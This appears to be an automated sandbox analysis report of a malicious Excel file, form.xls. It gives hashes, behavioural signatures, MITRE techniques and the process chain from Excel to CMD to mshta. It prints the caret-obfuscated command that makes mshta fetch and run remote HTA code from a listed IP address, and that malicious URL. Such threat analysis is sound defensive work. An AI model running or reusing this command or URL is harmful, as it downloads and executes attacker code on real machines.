915a4385f69edc1d4929a69674e8292cb7cd5a5ea95b684cec877e97e4f02cd5

General

Target

form.xls
Size

47KB
MD5

9978cade17fd81b1c69f26f79cbaf75a
SHA1

197d8977aaaba02df725e806b1d9d4f36b5cb7de
SHA256

915a4385f69edc1d4929a69674e8292cb7cd5a5ea95b684cec877e97e4f02cd5
SHA512

768d95ab7dff26bce287055c902284e6314fd1829a428a90bd3d0511a1f628ff0b2a2675a0b13a8e0cdc0a2280da6f702ba2e18ce01ac780079b6866309609f6

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3660	2744	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

21 3448 mshta.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3624 3448 WerFault.exe mshta.exe

flow	pid	process
21	3448	mshta.exe

pid	pid_target	process	target process
3624	3448	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2744 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
3624	WerFault.exe
3624	WerFault.exe
3624	WerFault.exe
3624	WerFault.exe
3624	WerFault.exe
3624	WerFault.exe
3624	WerFault.exe
3624	WerFault.exe
3624	WerFault.exe
3624	WerFault.exe
3624	WerFault.exe
3624	WerFault.exe
3624	WerFault.exe
3624	WerFault.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

WerFault.exe

description pid process

Token: SeDebugPrivilege 3624 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3624	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXECMD.EXE

description	pid	process	target process
PID 2744 wrote to memory of 3660	2744	EXCEL.EXE	CMD.EXE
PID 2744 wrote to memory of 3660	2744	EXCEL.EXE	CMD.EXE
PID 3660 wrote to memory of 3448	3660	CMD.EXE	mshta.exe
PID 3660 wrote to memory of 3448	3660	CMD.EXE	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\form.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2744

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3660

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
PID:3448

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3448 -s 1656
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3624

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2744-115-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2744-116-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2744-117-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2744-118-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2744-119-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2744-128-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

Filesize
64KB

Download
memory/2744-129-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

Filesize
64KB

Download
memory/2744-309-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2744-310-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2744-311-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2744-312-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads